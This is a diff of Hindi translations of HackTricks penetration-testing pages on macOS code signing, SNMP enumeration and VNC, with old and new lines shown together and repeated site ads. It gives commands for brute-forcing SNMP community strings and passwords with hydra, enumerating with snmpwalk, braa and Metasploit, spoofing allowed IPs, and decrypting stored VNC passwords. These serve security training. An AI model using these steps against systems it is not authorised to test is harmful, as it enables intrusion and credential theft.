* **`SecTaskValidateForRequirement`**: `CFString` आवश्यकता के खिलाफ चल रहे SecTask को मान्य करें।
#### **कोड आवश्यकताओं का निर्माण और प्रबंधन**
#### **कोड आवश्यकताओं का निर्माण और प्रबंधन करना**
* **`SecRequirementCreateWithData`:** आवश्यकता का प्रतिनिधित्व करने वाले बाइनरी डेटा से `SecRequirementRef` बनाता है।
* **`SecRequirementCreateWithString`:** आवश्यकता के स्ट्रिंग अभिव्यक्ति से `SecRequirementRef` बनाता है।
@ -308,7 +308,7 @@ od -A x -t x1 /tmp/output.csreq
## कोड सिग्नेचर प्रवर्तन
**कर्नेल** वह है जो **कोड सिग्नेचर की जाँच करता है** इससे पहले कि ऐप का कोड निष्पादित हो सके। इसके अलावा, मेमोरी में नए कोड को लिखने और निष्पादित करने के लिए एक तरीका JIT का दुरुपयोग करना है यदि `mprotect` को `MAP_JIT` ध्वज के साथ कॉल किया जाता है। ध्यान दें कि एप्लिकेशन को ऐसा करने के लिए एक विशेष अधिकार की आवश्यकता होती है।
**कर्नेल** वह है जो **कोड सिग्नेचर की जाँच करता है** इससे पहले कि ऐप का कोड निष्पादित करने की अनुमति दी जाए। इसके अलावा, मेमोरी में नए कोड को लिखने और निष्पादित करने के लिए एक तरीका JIT का दुरुपयोग करना है यदि `mprotect` को `MAP_JIT` ध्वज के साथ कॉल किया जाता है। ध्यान दें कि एप्लिकेशन को ऐसा करने के लिए एक विशेष अधिकार की आवश्यकता होती है।
## `cs_blobs` & `cs_blob`
@ -385,7 +385,7 @@ bool csb_csm_managed;
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
**SNMP - सरल नेटवर्क प्रबंधन प्रोटोकॉल** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -34,29 +34,29 @@ SNMP भी **162/UDP** पोर्ट का उपयोग **ट्रैप
### MIB
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करता है**। एक MIB एक **पाठ** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, पहुंच अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII पाठ प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे **यह समझाते हैं कि कौन सी जानकारी कहां मिलेगी** और यह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करता है**। एक MIB एक **पाठ** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, एक्सेस अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे बताते हैं **कहाँ कौन सी जानकारी मिलेगी** और वह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया गया है।
### OIDs
**ऑब्जेक्ट आइडेंटिफायर (OIDs)** एक महत्वपूर्ण भूमिका निभाते हैं। ये अद्वितीय पहचानकर्ता **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** के भीतर ऑब्जेक्ट्स का प्रबंधन करने के लिए डिज़ाइन किए गए हैं।
**ऑब्जेक्ट आइडेंटिफायर (OIDs)** एक महत्वपूर्ण भूमिका निभाते हैं। ये अद्वितीय पहचानकर्ता **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** के भीतर ऑब्जेक्ट्स को प्रबंधित करने के लिए डिज़ाइन किए गए हैं।
MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्तर विभिन्न मानक-निर्धारण संगठनों को आवंटित किए जाते हैं। इन शीर्ष स्तरों के भीतर वैश्विक प्रबंधन प्रथाओं और मानकों के लिए ढांचा स्थापित किया जाता है।
इसके अलावा, विक्रेताओं को निजी शाखाए स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
इसके अलावा, विक्रेताओं को निजी शाखाए स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
आप यहां वेब के माध्यम से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या मतलब है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
कुछ **प्रसिद्ध OIDs** हैं जैसे [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस एक से **लंबित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
### **OID उदाहरण**
[**यहा से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
[**यहा से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
इस पते का विश्लेषण इस प्रकार है।
इस पते का विश्लेषण यहाँ है।
* 1 इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं।
* 3 इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया।
@ -65,7 +65,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
* 4 यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी।
* 1 यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है।
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि डिवाइस सरकारी द्वारा बनाया गया हो।
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि जब डिवाइस सरकारी द्वारा बनाया गया हो।
अगले संख्याओं के सेट पर चलते हैं।
@ -75,7 +75,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
* 5 एक विविक्त अलार्म बिंदु को दर्शाता है।
* 5 एक विशिष्ट अलार्म बिंदु को दर्शाता है।
* 1 डिवाइस में विशिष्ट बिंदु
* 3 पोर्ट
* 21 पोर्ट का पता
@ -87,37 +87,37 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
SNMP के 2 महत्वपूर्ण संस्करण हैं:
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग पर आधारित है** (कम्युनिटी स्ट्रिंग) जो **सादा पाठ** में यात्रा करत है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( **शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग** (कम्युनिटी स्ट्रिंग) पर आधारित है जो **सादा पाठ** में यात्रा करत है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
### कम्युनिटी स्ट्रिंग्स
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
जैसा कि पहले उल्लेख किया गया, **MIB पर संग्रहीत जानकारी तक पहुचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
* **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
* **`private`** **पढ़ने/लिखने** में सामान्य
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
यदि आप एक ऑब्जेक्ट को **लिखने**ा प्रयास करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, वहाँ **ऐसे ऑब्जेक्ट्स** हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल" होते हैं।**\
यदि आप एक ऑब्जेक्ट को **लिखने**ी कोशिश करते हैं तो एक **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
## पोर्ट्स
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
* SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
* प्रबंधक पोर्ट **162** पर सूचनाए ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है।
* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाए पोर्ट **10162** पर भेजी जाती हैं।
* प्रबंधक पोर्ट **162** पर सूचनाए ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है।
* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाए पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले को करने के विभिन्न तरीकों के लिए [यहा देखें](../../generic-methodologies-and-resources/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले के विभिन्न तरीकों के लिए [यहा देखें](../../generic-methodologies-and-resources/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
## SNMP की गणना करना
यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **प्रत्येक OID जो डिवाइस से एकत्र किया गया है उसका क्या अर्थ है**:
यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **प्रत्येक OID का क्या अर्थ है** जो डिवाइस से एकत्र किया गया है:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -161,23 +161,23 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
* **`rwcommunity`** के लिए **IPv4** पते, और
* **`rwcommunity6`** के लिए **IPv6** पते।
दोनों कमांड एक **कम्युनिटी स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
दोनों कमांड एक **समुदाय स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
### Microsoft Windows के लिए SNMP पैरामीटर
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए **प्रबंधन सूचना आधार (MIB) मान**ी एक श्रृंखला का उपयोग किया जाता है:
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान**ा उपयोग की जाती है:
* **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
* **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
* **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
* **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
* **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
* **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
* **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से की जाती है।
* **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए, `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
* **उपयोगकर्ता खाते**: `1.3.6.1.4.1.77.1.2.25` मान उपयोगकर्ता खातों की ट्रैकिंग की अनुमति देता है।
* **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
### Cisco
यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर एक नज़र डालें:
यदि आप Cisco उपकरण हैं तो इस पृष्ठ को देखें:
{% content-ref url="cisco-snmp.md" %}
[cisco-snmp.md](cisco-snmp.md)
@ -197,7 +197,7 @@ SNMP के माध्यम से Windows सिस्टम के वि
Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं है।
**Syntax:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
**सिंटैक्स:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
## स्पूफिंग
यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इनमें से एक पते को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इन पते में से एक को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
## SNMP कॉन्फ़िगरेशन फ़ाइलों की जांच करें
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
@ -295,7 +295,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -42,7 +42,7 @@ Metasploit ढांचा `cisco_config_tftp` मॉड्यूल को श
#### `snmp_enum`
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्रित करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है:
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी इकट्ठा करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित के IP पते की आवश्यकता होती है:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)
{% embed url="https://www.stmcyber.com/careers" %}
@ -67,8 +67,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें.
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -50,9 +50,9 @@ vncviewer [-passwd passwd.txt] <IP>::5901
make
vncpwd <vnc password file>
```
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलट दिया गया था।\
**Windows** के लिए आप इस टूल का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
मैं यहाँ टूल को भी सहेजता हूँ ताकि आसानी से पहुँच सकें:
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो साधारण पाठ VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलट दिया गया था।\
**Windows** के लिए आप इस उपकरण का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
मैं यहाँ उपकरण को भी सुलभता के लिए सहेजता हूँ:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -60,9 +60,9 @@ vncpwd <vnc password file>
* `port:5900 RFB`
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
